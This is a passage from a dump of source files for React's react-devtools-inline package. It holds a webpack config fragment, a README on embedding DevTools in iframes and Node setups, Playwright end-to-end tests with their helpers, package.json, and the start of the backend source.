EDITOR_URL != null ? `\"${EDITOR_URL}\"` : null,\n      'process.env.GITHUB_URL': `\"${GITHUB_URL}\"`,\n      'process.env.NODE_ENV': `\"${NODE_ENV}\"`,\n    }),\n  ],\n  module: {\n    rules: [\n      {\n        test: /\\.worker\\.js$/,\n        use: [\n          {\n            loader: 'workerize-loader',\n            options: {\n              // Workers would have to be exposed on a public path in order to outline them.\n              inline: true,\n              name: '[name]',\n            },\n          },\n          {\n            loader: 'babel-loader',\n            options: babelOptions,\n          },\n        ],\n      },\n      {\n        test: /\\.js$/,\n        loader: 'babel-loader',\n        options: babelOptions,\n      },\n      {\n        test: /\\.css$/i,\n        use: [\n          {\n            loader: MiniCssExtractPlugin.loader,\n          },\n          {\n            loader: 'css-loader',\n            options: {modules: true},\n          },\n        ],\n      },\n    ],\n  },\n};\n"
  },
  {
    "path": "packages/react-devtools-inline/README.md",
    "content": "# `react-devtools-inline`\n\nThis package can be used to embed React DevTools into browser-based tools like [CodeSandbox](https://codesandbox.io/), [StackBlitz](https://stackblitz.com/), and [Replay](https://replay.io).\n\nIf you're looking for the standalone React DevTools UI, **we suggest using [`react-devtools`](https://github.com/facebook/react/tree/main/packages/react-devtools) instead of using this package directly**.\n\n---\n\n> **Note** that this package (and the DevTools UI) relies on several _experimental_ APIs that are **only available in the [experimental release channel](https://reactjs.org/docs/release-channels.html#experimental-channel)**. This means that you will need to install `react@experimental` and `react-dom@experimental`.\n\n---\n\n# Usage\n\nThis package exports two entry points: a frontend (to be run in the main `window`) and a backend (to be installed and run within an `iframe`<sup>1</sup>).\n\nThe frontend and backend can be initialized in any order, but **the backend must not be activated until the frontend initialization has completed**. Because of this, the simplest sequence is:\n\n1. Frontend (DevTools interface) initialized in the main `window`.\n1. Backend initialized in an `iframe`.\n1. Backend activated.\n\n<sup>1</sup> Sandboxed iframes are supported.\n\n# Backend APIs\n### `initialize(windowOrGlobal)`\n\nInstalls the global hook on the window/global object. This hook is how React and DevTools communicate.\n\n> **This method must be called before React is loaded.** (This includes `import`/`require` statements and `<script>` tags that include React.)\n\n### `activate(windowOrGlobal)`\n\nLets the backend know when the frontend is ready. It should not be called until after the frontend has been initialized, else the frontend might miss important tree-initialization events.\n\n### Example\n```js\nimport { activate, initialize } from 'react-devtools-inline/backend';\n\n// This should be the iframe the React application is running in.\nconst iframe = document.getElementById(frameID);\nconst contentWindow = iframe.contentWindow;\n\n// Call this before importing React (or any other packages that might import React).\ninitialize(contentWindow);\n\n// Initialize the frontend...\n\n// Call this only once the frontend has been initialized.\nactivate(contentWindow);\n```\n\n# Frontend APIs\n\n### `initialize(windowOrGlobal)`\nConfigures the DevTools interface to listen to the `window` (or `global` object) the backend was injected into. This method returns a React component that can be rendered directly.\n\n> Because the DevTools interface makes use of several new React concurrent features (like Suspense) **it should be rendered using `ReactDOMClient.createRoot` instead of `ReactDOM.render`.**\n\n### Example\n```js\nimport { initialize } from 'react-devtools-inline/frontend';\n\n// This should be the iframe the backend hook has been installed in.\nconst iframe = document.getElementById(frameID);\nconst contentWindow = iframe.contentWindow;\n\n// This returns a React component that can be rendered into your app.\n// e.g. render(<DevTools {...props} />);\nconst DevTools = initialize(contentWindow);\n```\n\n# Advanced examples\n\n### Supporting named hooks\n\nDevTools can display hook \"names\" for an inspected component, although determining the \"names\" requires loading the source (and source-maps), parsing the code, and inferring the names based on which variables hook values get assigned to. Because the code for this is non-trivial, it's lazy-loaded only if the feature is enabled.\n\nTo configure this package to support this functionality, you'll need to provide a prop that dynamically imports the extra functionality:\n```js\n// Follow code examples above to configure the backend and frontend.\n// When rendering DevTools, the important part is to pass a 'hookNamesModuleLoaderFunction' prop.\nconst hookNamesModuleLoaderFunction = () => import('react-devtools-inline/hookNames');\n\n// Render:\n<DevTools\n  hookNamesModuleLoaderFunction={hookNamesModuleLoaderFunction}\n  {...otherProps}\n/>;\n```\n\n### Configuring a same-origin `iframe`\n\nThe simplest way to use this package is to install the hook from the parent `window`. This is possible if the `iframe` is not sandboxed and there are no cross-origin restrictions.\n\n```js\nimport {\n  activate as activateBackend,\n  initialize as initializeBackend\n} from 'react-devtools-inline/backend';\nimport { initialize as initializeFrontend } from 'react-devtools-inline/frontend';\n\n// The React app you want to inspect with DevTools is running within this iframe:\nconst iframe = document.getElementById('target');\nconst { contentWindow } = iframe;\n\n// Installs the global hook into the iframe.\n// This must be called before React is loaded into that frame.\ninitializeBackend(contentWindow);\n\n// Initialize DevTools UI to listen to the hook we just installed.\n// This returns a React component we can render anywhere in the parent window.\n// This also must be called before React is loaded into the iframe\nconst DevTools = initializeFrontend(contentWindow);\n\n// React application can be injected into <iframe> at any time now...\n// Note that this would need to be done via <script> tag injection,\n// as setting the src of the <iframe> would load a new page (without the injected backend).\n\n// <DevTools /> interface can be rendered in the parent window at any time now...\n// Be sure to use ReactDOMClient.createRoot() to render this component.\n\n// Let the backend know the frontend is ready and listening.\nactivateBackend(contentWindow);\n```\n\n### Configuring a sandboxed `iframe`\n\nSandboxed `iframe`s are also supported but require more complex initialization.\n\n**`iframe.html`**\n```js\nimport { activate, initialize } from \"react-devtools-inline/backend\";\n\n// The DevTools hook needs to be installed before React is even required!\n// The safest way to do this is probably to install it in a separate script tag.\ninitialize(window);\n\n// Wait for the frontend to let us know that it's ready.\nfunction onMessage({ data }) {\n  switch (data.type) {\n    case \"activate-backend\":\n      window.removeEventListener(\"message\", onMessage);\n\n      activate(window);\n      break;\n    default:\n      break;\n  }\n}\n\nwindow.addEventListener(\"message\", onMessage);\n```\n\n**`main-window.html`**\n```js\nimport { initialize } from \"react-devtools-inline/frontend\";\n\nconst iframe = document.getElementById(\"target\");\nconst { contentWindow } = iframe;\n\n// Initialize DevTools UI to listen to the iframe.\n// This returns a React component we can render anywhere in the main window.\n// Be sure to use ReactDOMClient.createRoot() to render this component.\nconst DevTools = initialize(contentWindow);\n\n// Let the backend know to initialize itself.\n// We can't do this directly because the iframe is sandboxed.\n// Only initialize the backend once the DevTools frontend has been initialized.\niframe.onload = () => {\n  contentWindow.postMessage(\n    {\n      type: \"activate-backend\"\n    },\n    \"*\"\n  );\n};\n```\n\n### Advanced: Custom \"wall\"\n\nBelow is an example of an advanced integration with a website like [Replay.io](https://replay.io/) or Code Sandbox's Sandpack (where more than one DevTools instance may be rendered per page).\n\n```js\nimport {\n  activate as activateBackend,\n  createBridge as createBackendBridge,\n  initialize as initializeBackend,\n} from 'react-devtools-inline/backend';\nimport {\n  createBridge as createFrontendBridge,\n  createStore,\n  initialize as createDevTools,\n} from 'react-devtools-inline/frontend';\n\n// DevTools uses \"message\" events and window.postMessage() by default,\n// but we can override this behavior by creating a custom \"Wall\" object.\n// For example...\nconst wall = {\n  _listeners: [],\n  listen(listener) {\n    wall._listeners.push(listener);\n  },\n  send(event, payload) {\n    wall._listeners.forEach(listener => listener({event, payload}));\n  },\n};\n\n// Initialize the DevTools backend before importing React (or any other packages that might import React).\ninitializeBackend(contentWindow);\n\n// Prepare DevTools for rendering.\n// To use the custom Wall we've created, we need to also create our own \"Bridge\" and \"Store\" objects.\nconst bridge = createFrontendBridge(contentWindow, wall);\nconst store = createStore(bridge);\nconst DevTools = createDevTools(contentWindow, { bridge, store });\n\n// You can render DevTools now:\nconst root = createRoot(container);\nroot.render(<DevTools {...otherProps} />);\n\n// Lastly, let the DevTools backend know that the frontend is ready.\n// To use the custom Wall we've created, we need to also pass in the \"Bridge\".\nactivateBackend(contentWindow, {\n  bridge: createBackendBridge(contentWindow, wall),\n});\n```\n\nAlternately, if your code can't share the same `wall` object, you can still provide a custom Wall that connects a specific DevTools frontend to a specific backend like so:\n```js\nconst uid = \"some-unique-string-shared-between-both-pieces\";\nconst wall = {\n  listen(listener) {\n    window.addEventListener(\"message\", (event) => {\n      if (event.data.uid === uid) {\n        listener(event.data);\n      }\n    });\n  },\n  send(event, payload) {\n    window.postMessage({ event, payload, uid }, \"*\");\n  },\n};\n```\n\n### Advanced: Node + browser\n\nBelow is an example of an advanced integration that could be used to connect React running in a Node process to React DevTools running in a browser.\n\n##### Sample Node backend\n```js\nconst {\n  activate,\n  createBridge,\n  initialize,\n} = require('react-devtools-inline/backend');\nconst { createServer } = require('http');\nconst SocketIO = require('socket.io');\n\nconst server = createServer();\nconst socket = SocketIO(server, {\n  cors: {\n    origin: \"*\",\n    methods: [\"GET\", \"POST\"],\n    allowedHeaders: [],\n    credentials: true\n  }\n});\nsocket.on('connection', client => {\n  const wall = {\n    listen(listener) {\n      client.on('message', data => {\n        if (data.uid === UID) {\n          listener(data);\n        }\n      });\n    },\n    send(event, payload) {\n      const data = {event, payload, uid: UID};\n      client.emit('message', data);\n    },\n  };\n\n  const bridge = createBridge(global, wall);\n\n  client.on('disconnect', () => {\n    bridge.shutdown();\n  });\n\n  activate(global, { bridge });\n});\nsocket.listen(PORT);\n```\n\n##### Sample Web frontend\n```js\nimport { createElement } from 'react';\nimport { createRoot } from 'react-dom/client';\nimport {\n  createBridge,\n  createStore,\n  initialize as createDevTools,\n} from 'react-devtools-inline/frontend';\nimport { io } from \"socket.io-client\";\n\nlet root = null;\n\nconst socket = io(`http://${HOST}:${PORT}`);\nsocket.on(\"connect\", () => {\n  const wall = {\n    listen(listener) {\n      socket.on(\"message\", (data) => {\n        if (data.uid === UID) {\n          listener(data);\n        }\n      });\n    },\n    send(event, payload) {\n      const data = { event, payload, uid: UID };\n      socket.emit('message', data);\n    },\n  };\n\n  const bridge = createBridge(window, wall);\n  const store = createStore(bridge);\n  const DevTools = createDevTools(window, { bridge, store });\n\n  root = createRoot(document.getElementById('root'));\n  root.render(createElement(DevTools));\n});\nsocket.on(\"disconnect\", () => {\n  root.unmount();\n  root = null;\n});\n```\n\n# Local development\nYou can also build and test this package from source.\n\n## Prerequisite steps\nDevTools depends on local versions of several NPM packages<sup>1</sup> also in this workspace. You'll need to either build or download those packages first.\n\n<sup>1</sup> Note that at this time, an _experimental_ build is required because DevTools depends on the `createRoot` API.\n\n### Build from source\nTo build dependencies from source, run the following command from the root of the repository:\n```sh\nyarn build-for-devtools\n```\n### Download from CI\nTo use the latest build from CI, go to `scripts/release/` and run the following commands:\n```sh\nyarn\n./download-experimental-build.js --commit=main\n```\n\n## Build steps\nOnce the above packages have been built or downloaded, you can watch for changes made to the source code and automatically rebuild by running:\n```sh\nyarn start\n```\n\nTo test package changes, refer to the [`react-devtools-shell` README](https://github.com/facebook/react/blob/main/packages/react-devtools-shell/README.md).\n"
  },
  {
    "path": "packages/react-devtools-inline/__tests__/__e2e__/components.test.js",
    "content": "/** @flow */\n\n'use strict';\n\nconst {runOnlyForReactRange} = require('./utils');\nconst listAppUtils = require('./list-app-utils');\nconst devToolsUtils = require('./devtools-utils');\nconst {test, expect} = require('@playwright/test');\nconst config = require('../../playwright.config');\nconst semver = require('semver');\n\ntest.use(config);\ntest.describe('Components', () => {\n  let page;\n\n  test.beforeEach(async ({browser}) => {\n    page = await browser.newPage();\n\n    await page.goto(config.use.url, {\n      waitUntil: 'domcontentloaded',\n    });\n\n    await page.waitForSelector('#iframe');\n\n    await devToolsUtils.clickButton(page, 'TabBarButton-components');\n  });\n\n  test('Should display initial React components', async () => {\n    const appRowCount = await page.evaluate(() => {\n      const {createTestNameSelector, findAllNodes} = window.REACT_DOM_APP;\n      const container = document.getElementById('iframe').contentDocument;\n      const rows = findAllNodes(container, [\n        createTestNameSelector('ListItem'),\n      ]);\n      return rows.length;\n    });\n    expect(appRowCount).toBe(3);\n\n    const devToolsRowCount = await devToolsUtils.getElementCount(\n      page,\n      'ListItem'\n    );\n    expect(devToolsRowCount).toBe(3);\n  });\n\n  test('Should display newly added React components', async () => {\n    await listAppUtils.addItem(page, 'four');\n\n    const count = await devToolsUtils.getElementCount(page, 'ListItem');\n    expect(count).toBe(4);\n  });\n\n  test('Should allow elements to be inspected', async () => {\n    // Select the first list item in DevTools.\n    await devToolsUtils.selectElement(page, 'ListItem', '<List>\\n<App>');\n\n    // Prop names/values may not be editable based on the React version.\n    // If they're not editable, make sure they degrade gracefully\n    const isEditableName = semver.gte(config.use.react_version, '17.0.0');\n    const isEditableValue = semver.gte(config.use.react_version, '16.8.0');\n\n    // Then read the inspected values.\n    const {\n      name: propName,\n      value: propValue,\n      existingNameElementsSize,\n      existingValueElementsSize,\n    } = await page.evaluate(\n      isEditable => {\n        const {createTestNameSelector, findAllNodes} =\n          window.REACT_DOM_DEVTOOLS;\n        const container = document.getElementById('devtools');\n\n        // Get name of first prop\n        const nameSelector = isEditable.name\n          ? 'EditableName'\n          : 'NonEditableName';\n        // Get value of first prop\n        const valueSelector = isEditable.value\n          ? 'EditableValue'\n          : 'NonEditableValue';\n\n        const existingNameElements = findAllNodes(container, [\n          createTestNameSelector('InspectedElementPropsTree'),\n          createTestNameSelector('KeyValue'),\n          createTestNameSelector(nameSelector),\n        ]);\n        const existingValueElements = findAllNodes(container, [\n          createTestNameSelector('InspectedElementPropsTree'),\n          createTestNameSelector('KeyValue'),\n          createTestNameSelector(valueSelector),\n        ]);\n\n        const name = isEditable.name\n          ? existingNameElements[0].value\n          : existingNameElements[0].innerText\n              // remove trailing colon\n              .slice(0, -1);\n        const value = isEditable.value\n          ? existingValueElements[0].value\n          : existingValueElements[0].innerText;\n\n        return {\n          name,\n          value,\n          existingNameElementsSize: existingNameElements.length,\n          existingValueElementsSize: existingValueElements.length,\n        };\n      },\n      {name: isEditableName, value: isEditableValue}\n    );\n\n    expect(existingNameElementsSize).toBe(1);\n    expect(existingValueElementsSize).toBe(1);\n    expect(propName).toBe('label');\n    expect(propValue).toBe('\"one\"');\n  });\n\n  test('Should allow inspecting source of the element', async () => {\n    // Source inspection is available only in modern renderer.\n    runOnlyForReactRange('>=16.8');\n\n    // Select the first list item in DevTools.\n    await devToolsUtils.selectElement(page, 'ListItem', '<List>\\n<App>', true);\n\n    // Then read the inspected values.\n    const sourceText = await page.evaluate(() => {\n      const {createTestNameSelector, findAllNodes} = window.REACT_DOM_DEVTOOLS;\n      const container = document.getElementById('devtools');\n\n      const source = findAllNodes(container, [\n        createTestNameSelector('InspectedElementView-FormattedSourceString'),\n      ])[0];\n\n      return source.innerText;\n    });\n\n    // If React version is specified, the e2e-regression.html page will be used\n    // If not, then e2e.html, see playwright.config.js, how url is constructed\n    expect(sourceText).toMatch(/e2e-app[\\-a-zA-Z]*\\.js/);\n  });\n\n  test('should allow props to be edited', async () => {\n    runOnlyForReactRange('>=16.8');\n\n    // Select the first list item in DevTools.\n    await devToolsUtils.selectElement(page, 'ListItem', '<List>\\n<App>');\n\n    // Then edit the label prop.\n    await page.evaluate(() => {\n      const {createTestNameSelector, focusWithin} = window.REACT_DOM_DEVTOOLS;\n      const container = document.getElementById('devtools');\n\n      focusWithin(container, [\n        createTestNameSelector('InspectedElementPropsTree'),\n        createTestNameSelector('KeyValue'),\n        createTestNameSelector('EditableValue'),\n      ]);\n    });\n\n    page.keyboard.press('Backspace'); // \"\n    page.keyboard.press('Backspace'); // e\n    page.keyboard.press('Backspace'); // n\n    page.keyboard.press('Backspace'); // o\n    page.keyboard.insertText('new\"');\n    page.keyboard.press('Enter');\n\n    await page.waitForFunction(() => {\n      const {createTestNameSelector, findAllNodes} = window.REACT_DOM_APP;\n      const container = document.getElementById('iframe').contentDocument;\n      const rows = findAllNodes(container, [\n        createTestNameSelector('ListItem'),\n      ])[0];\n      return rows.innerText === 'new';\n    });\n  });\n\n  test('should load and parse hook names for the inspected element', async () => {\n    runOnlyForReactRange('>=16.8');\n\n    // Select the List component DevTools.\n    await devToolsUtils.selectElement(page, 'List', '<App>');\n\n    // Then click to load and parse hook names.\n    await devToolsUtils.clickButton(page, 'LoadHookNamesButton');\n\n    // Make sure the expected hook names are parsed and displayed eventually.\n    await page.waitForFunction(\n      hookNames => {\n        const {createTestNameSelector, findAllNodes} =\n          window.REACT_DOM_DEVTOOLS;\n        const container = document.getElementById('devtools');\n\n        const hooksTree = findAllNodes(container, [\n          createTestNameSelector('InspectedElementHooksTree'),\n        ])[0];\n\n        if (!hooksTree) {\n          return false;\n        }\n\n        const hooksTreeText = hooksTree.innerText;\n\n        for (let i = 0; i < hookNames.length; i++) {\n          if (!hooksTreeText.includes(hookNames[i])) {\n            return false;\n          }\n        }\n\n        return true;\n      },\n      ['State(items)', 'Ref(inputRef)']\n    );\n  });\n\n  test('should allow searching for component by name', async () => {\n    async function waitForComponentSearchResultsCount(text) {\n      return await page.waitForFunction(expectedElementText => {\n        const {createTestNameSelector, findAllNodes} =\n          window.REACT_DOM_DEVTOOLS;\n        const container = document.getElementById('devtools');\n\n        const element = findAllNodes(container, [\n          createTestNameSelector('ComponentSearchInput-ResultsCount'),\n        ])[0];\n        return element !== undefined\n          ? element.innerText === expectedElementText\n          : false;\n      }, text);\n    }\n\n    async function focusComponentSearch() {\n      await page.evaluate(() => {\n        const {createTestNameSelector, focusWithin} = window.REACT_DOM_DEVTOOLS;\n        const container = document.getElementById('devtools');\n\n        focusWithin(container, [\n          createTestNameSelector('ComponentSearchInput-Input'),\n        ]);\n      });\n    }\n\n    await focusComponentSearch();\n    await page.keyboard.insertText('List');\n    await waitForComponentSearchResultsCount('1 | 4');\n\n    await page.keyboard.insertText('Item');\n    await waitForComponentSearchResultsCount('1 | 3');\n\n    await page.keyboard.press('Enter');\n    await waitForComponentSearchResultsCount('2 | 3');\n\n    await page.keyboard.press('Enter');\n    await waitForComponentSearchResultsCount('3 | 3');\n\n    await page.keyboard.press('Enter');\n    await waitForComponentSearchResultsCount('1 | 3');\n\n    await page.keyboard.press('Shift+Enter');\n    await waitForComponentSearchResultsCount('3 | 3');\n\n    await page.keyboard.press('Shift+Enter');\n    await waitForComponentSearchResultsCount('2 | 3');\n\n    await page.keyboard.press('Shift+Enter');\n    await waitForComponentSearchResultsCount('1 | 3');\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-inline/__tests__/__e2e__/devtools-utils.js",
    "content": "'use strict';\n\n/** @flow */\n\nasync function clickButton(page, buttonTestName) {\n  await page.evaluate(testName => {\n    const {createTestNameSelector, findAllNodes} = window.REACT_DOM_DEVTOOLS;\n    const container = document.getElementById('devtools');\n\n    const button = findAllNodes(container, [\n      createTestNameSelector(testName),\n    ])[0];\n    button.click();\n  }, buttonTestName);\n}\n\nasync function getElementCount(page, displayName) {\n  return await page.evaluate(listItemText => {\n    const {createTestNameSelector, createTextSelector, findAllNodes} =\n      window.REACT_DOM_DEVTOOLS;\n    const container = document.getElementById('devtools');\n    const rows = findAllNodes(container, [\n      createTestNameSelector('ComponentTreeListItem'),\n      createTextSelector(listItemText),\n    ]);\n    return rows.length;\n  }, displayName);\n}\n\nasync function selectElement(\n  page,\n  displayName,\n  waitForOwnersText,\n  waitForSourceLoaded = false\n) {\n  await page.evaluate(listItemText => {\n    const {createTestNameSelector, createTextSelector, findAllNodes} =\n      window.REACT_DOM_DEVTOOLS;\n    const container = document.getElementById('devtools');\n\n    const listItem = findAllNodes(container, [\n      createTestNameSelector('ComponentTreeListItem'),\n      createTextSelector(listItemText),\n    ])[0];\n\n    listItem.dispatchEvent(\n      new MouseEvent('mousedown', {bubbles: true, cancelable: true})\n    );\n  }, displayName);\n\n  if (waitForOwnersText) {\n    // Wait for selected element's props to load.\n    await page.waitForFunction(\n      ({titleText, ownersListText}) => {\n        const {createTestNameSelector, findAllNodes} =\n          window.REACT_DOM_DEVTOOLS;\n        const container = document.getElementById('devtools');\n\n        const title = findAllNodes(container, [\n          createTestNameSelector('InspectedElement-Title'),\n        ])[0];\n\n        const ownersList = findAllNodes(container, [\n          createTestNameSelector('InspectedElementView-Owners'),\n        ])[0];\n\n        if (!ownersList) {\n          return false;\n        }\n\n        const owners = findAllNodes(ownersList, [\n          createTestNameSelector('OwnerView'),\n        ]);\n\n        return (\n          title &&\n          title.innerText.includes(titleText) &&\n          owners &&\n          owners\n            .map(node => node.innerText)\n            .join('\\n')\n            .includes(ownersListText)\n        );\n      },\n      {titleText: displayName, ownersListText: waitForOwnersText}\n    );\n  }\n\n  if (waitForSourceLoaded) {\n    await page.waitForFunction(() => {\n      const {createTestNameSelector, findAllNodes} = window.REACT_DOM_DEVTOOLS;\n      const container = document.getElementById('devtools');\n\n      const sourceStringBlock = findAllNodes(container, [\n        createTestNameSelector('InspectedElementView-FormattedSourceString'),\n      ])[0];\n\n      // Wait for a new source line to be fetched\n      return sourceStringBlock != null && sourceStringBlock.innerText != null;\n    });\n  }\n}\n\nmodule.exports = {\n  clickButton,\n  getElementCount,\n  selectElement,\n};\n"
  },
  {
    "path": "packages/react-devtools-inline/__tests__/__e2e__/list-app-utils.js",
    "content": "'use strict';\n\n/** @flow */\n\nasync function addItem(page, newItemText) {\n  await page.evaluate(text => {\n    const {createTestNameSelector, findAllNodes} = window.REACT_DOM_APP;\n    const container = document.getElementById('iframe').contentDocument;\n\n    const input = findAllNodes(container, [\n      createTestNameSelector('AddItemInput'),\n    ])[0];\n    input.value = text;\n\n    const button = findAllNodes(container, [\n      createTestNameSelector('AddItemButton'),\n    ])[0];\n\n    button.click();\n  }, newItemText);\n}\n\nmodule.exports = {\n  addItem,\n};\n"
  },
  {
    "path": "packages/react-devtools-inline/__tests__/__e2e__/profiler.test.js",
    "content": "/** @flow */\n\n'use strict';\n\nconst {runOnlyForReactRange} = require('./utils');\nconst listAppUtils = require('./list-app-utils');\nconst devToolsUtils = require('./devtools-utils');\nconst {test, expect} = require('@playwright/test');\nconst config = require('../../playwright.config');\ntest.use(config);\ntest.describe('Profiler', () => {\n  let page;\n\n  test.beforeEach(async ({browser}) => {\n    page = await browser.newPage();\n    await page.goto(config.use.url, {\n      waitUntil: 'domcontentloaded',\n    });\n\n    await page.waitForSelector('#iframe');\n\n    await devToolsUtils.clickButton(page, 'TabBarButton-profiler');\n  });\n\n  test('should record renders and commits when active', async () => {\n    // Profiling is only available in 16.5 and over\n    runOnlyForReactRange('>=16.5');\n    async function getSnapshotSelectorText() {\n      return await page.evaluate(() => {\n        const {createTestNameSelector, findAllNodes} =\n          window.REACT_DOM_DEVTOOLS;\n        const container = document.getElementById('devtools');\n\n        const input = findAllNodes(container, [\n          createTestNameSelector('SnapshotSelector-Input'),\n        ])[0];\n        const label = findAllNodes(container, [\n          createTestNameSelector('SnapshotSelector-Label'),\n        ])[0];\n        return `${input.value}${label.innerText}`;\n      });\n    }\n\n    async function clickButtonAndVerifySnapshotSelectorText(\n      buttonTagName,\n      expectedText\n    ) {\n      await devToolsUtils.clickButton(page, buttonTagName);\n      const text = await getSnapshotSelectorText();\n      expect(text).toBe(expectedText);\n    }\n\n    await devToolsUtils.clickButton(page, 'ProfilerToggleButton');\n\n    await listAppUtils.addItem(page, 'four');\n    await listAppUtils.addItem(page, 'five');\n    await listAppUtils.addItem(page, 'six');\n\n    await devToolsUtils.clickButton(page, 'ProfilerToggleButton');\n\n    await page.waitForFunction(() => {\n      const {createTestNameSelector, findAllNodes} = window.REACT_DOM_DEVTOOLS;\n      const container = document.getElementById('devtools');\n\n      const input = findAllNodes(container, [\n        createTestNameSelector('SnapshotSelector-Input'),\n      ]);\n\n      return input.length === 1;\n    });\n\n    const text = await getSnapshotSelectorText();\n    expect(text).toBe('1 / 3');\n\n    await clickButtonAndVerifySnapshotSelectorText(\n      'SnapshotSelector-NextButton',\n      '2 / 3'\n    );\n    await clickButtonAndVerifySnapshotSelectorText(\n      'SnapshotSelector-NextButton',\n      '3 / 3'\n    );\n    await clickButtonAndVerifySnapshotSelectorText(\n      'SnapshotSelector-NextButton',\n      '1 / 3'\n    );\n    await clickButtonAndVerifySnapshotSelectorText(\n      'SnapshotSelector-PreviousButton',\n      '3 / 3'\n    );\n    await clickButtonAndVerifySnapshotSelectorText(\n      'SnapshotSelector-PreviousButton',\n      '2 / 3'\n    );\n    await clickButtonAndVerifySnapshotSelectorText(\n      'SnapshotSelector-PreviousButton',\n      '1 / 3'\n    );\n    await clickButtonAndVerifySnapshotSelectorText(\n      'SnapshotSelector-PreviousButton',\n      '3 / 3'\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-inline/__tests__/__e2e__/utils.js",
    "content": "'use strict';\n\n/** @flow */\n\nconst semver = require('semver');\nconst config = require('../../playwright.config');\nconst {test} = require('@playwright/test');\n\nfunction runOnlyForReactRange(range) {\n  test.skip(\n    !semver.satisfies(config.use.react_version, range),\n    `This test requires a React version of ${range} to run. ` +\n      `The React version you're using is ${config.use.react_version}`\n  );\n}\n\nmodule.exports = {runOnlyForReactRange};\n"
  },
  {
    "path": "packages/react-devtools-inline/backend.js",
    "content": "module.exports = require('./dist/backend');\n"
  },
  {
    "path": "packages/react-devtools-inline/frontend.js",
    "content": "module.exports = require('./dist/frontend');\n"
  },
  {
    "path": "packages/react-devtools-inline/hookNames.js",
    "content": "module.exports = require('./dist/hookNames');\n"
  },
  {
    "path": "packages/react-devtools-inline/package.json",
    "content": "{\n  \"name\": \"react-devtools-inline\",\n  \"version\": \"7.0.1\",\n  \"description\": \"Embed react-devtools within a website\",\n  \"license\": \"MIT\",\n  \"main\": \"./dist/backend.js\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-devtools-inline\"\n  },\n  \"files\": [\n    \"dist\",\n    \"backend.js\",\n    \"frontend.js\",\n    \"hookNames.js\"\n  ],\n  \"scripts\": {\n    \"build\": \"cross-env NODE_ENV=production webpack --config webpack.config.js\",\n    \"prepublish\": \"yarn run build\",\n    \"start\": \"cross-env NODE_ENV=development webpack --config webpack.config.js --watch\",\n    \"test:e2e\": \"playwright test --config=playwright.config.js\"\n  },\n  \"dependencies\": {\n    \"@jridgewell/sourcemap-codec\": \"1.5.5\",\n    \"source-map-js\": \"^0.6.2\"\n  },\n  \"devDependencies\": {\n    \"@babel/core\": \"^7.11.1\",\n    \"@babel/plugin-proposal-class-properties\": \"^7.10.4\",\n    \"@babel/plugin-transform-flow-strip-types\": \"^7.10.4\",\n    \"@babel/plugin-transform-react-jsx-source\": \"^7.10.5\",\n    \"@babel/preset-env\": \"^7.11.0\",\n    \"@babel/preset-flow\": \"^7.10.4\",\n    \"@babel/preset-react\": \"^7.10.4\",\n    \"@playwright/test\": \"^1.51.1\",\n    \"babel-core\": \"^7.0.0-bridge\",\n    \"babel-eslint\": \"^9.0.0\",\n    \"babel-loader\": \"^8.0.4\",\n    \"buffer\": \"^6.0.3\",\n    \"cross-env\": \"^3.1.4\",\n    \"css-loader\": \"^1.0.1\",\n    \"file-loader\": \"^6.1.0\",\n    \"process\": \"^0.11.10\",\n    \"raw-loader\": \"^3.1.0\",\n    \"style-loader\": \"^0.23.1\",\n    \"webpack\": \"^5.82.1\",\n    \"webpack-cli\": \"^5.1.1\",\n    \"webpack-dev-server\": \"^4.15.0\",\n    \"workerize-loader\": \"^2.0.2\"\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-inline/playwright.config.js",
    "content": "const semver = require('semver');\nconst fs = require('fs');\nconst ReactVersionSrc = fs.readFileSync(require.resolve('shared/ReactVersion'));\nconst reactVersion = /export default '([^']+)';/.exec(ReactVersionSrc)[1];\n\nconst config = {\n  use: {\n    headless: true,\n    browserName: 'chromium',\n    launchOptions: {\n      // This bit of delay gives async React time to render\n      // and DevTools operations to be sent across the bridge.\n      slowMo: 100,\n    },\n    url: process.env.REACT_VERSION\n      ? 'http://localhost:8080/e2e-regression.html'\n      : 'http://localhost:8080/e2e.html',\n    react_version: process.env.REACT_VERSION\n      ? semver.coerce(process.env.REACT_VERSION).version\n      : reactVersion,\n    trace: 'retain-on-failure',\n  },\n  // Some of our e2e tests can be flaky. Retry tests to make sure the error isn't transient\n  retries: 3,\n};\n\nmodule.exports = config;\n"
  },
  {
    "path": "packages/react-devtools-inline/src/backend.js",
    "content": "/** @flow */\n\nimport Agent from 'react-devtools-shared/src/backend/agent';\nimport Bridge from 'react-devtools-shared/src/bridge';\nimport {initBackend} from 'react-devtools-shared/src/backend';\nimport {installHook} from 'react-devtools-shared/src/hook';\nimport setupNativeStyleEditor from 'react-devtools-shared/src/backend/NativeStyleEditor/setupNativeStyleEditor';\n\nimport type {\n  BackendBridge,\n  SavedPreferencesParams,\n} from 'react-devtools-shared/src/bridge';\nimport type {\n  ComponentFilter,\n  Wall,\n} from 'react-devtools-shared/src/frontend/types';\nimport {\n  getIfReloadedAndProfiling,\n  getIsReloadAndProfileSupported,\n  onReloadAndProfile,\n  onReloadAndProfileFlagsReset,\n} from 'react-devtools-shared/src/utils';\n\nlet resolveComponentFiltersInjection: (filters: Array<ComponentFilter>) => void;\nconst componentFiltersPromise = new Promise<Array<ComponentFilter>>(resolve => {\n  resolveComponentFiltersInjection = resolve;\n});\n\nfunction startActivation(contentWindow: any, bridge: BackendBridge) {\n  const onSavedPreferences = (data: SavedPreferencesParams) => {\n    // This is the only message we're listening for,\n    // so it's safe to cleanup after we've received it.\n    bridge.removeListener('savedPreferences', onSavedPreferences);\n\n    const {componentFilters} = data;\n\n    resolveComponentFiltersInjection(componentFilters);\n  };\n\n  componentFiltersPromise.then(\n    finishActivation.bind(null, contentWindow, bridge),\n  );\n\n  bridge.addListener('savedPreferences', onSavedPreferences);\n\n  // The backend may be unable to read saved preferences directly,\n  // because they are stored in localStorage within the context of the extension (on the frontend).\n  // Instead it relies on the extension to pass preferences through.\n  // Because we might be in a sandboxed iframe, we have to ask for them by way of postMessage().\n  bridge.send('getSavedPreferences');\n}\n\nfunction finishActivation(contentWindow: any, bridge: BackendBridge) {\n  const agent = new Agent(\n    bridge,\n    getIfReloadedAndProfiling(),\n    onReloadAndProfile,\n  );\n  onReloadAndProfileFlagsReset();\n\n  const hook = contentWindow.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n  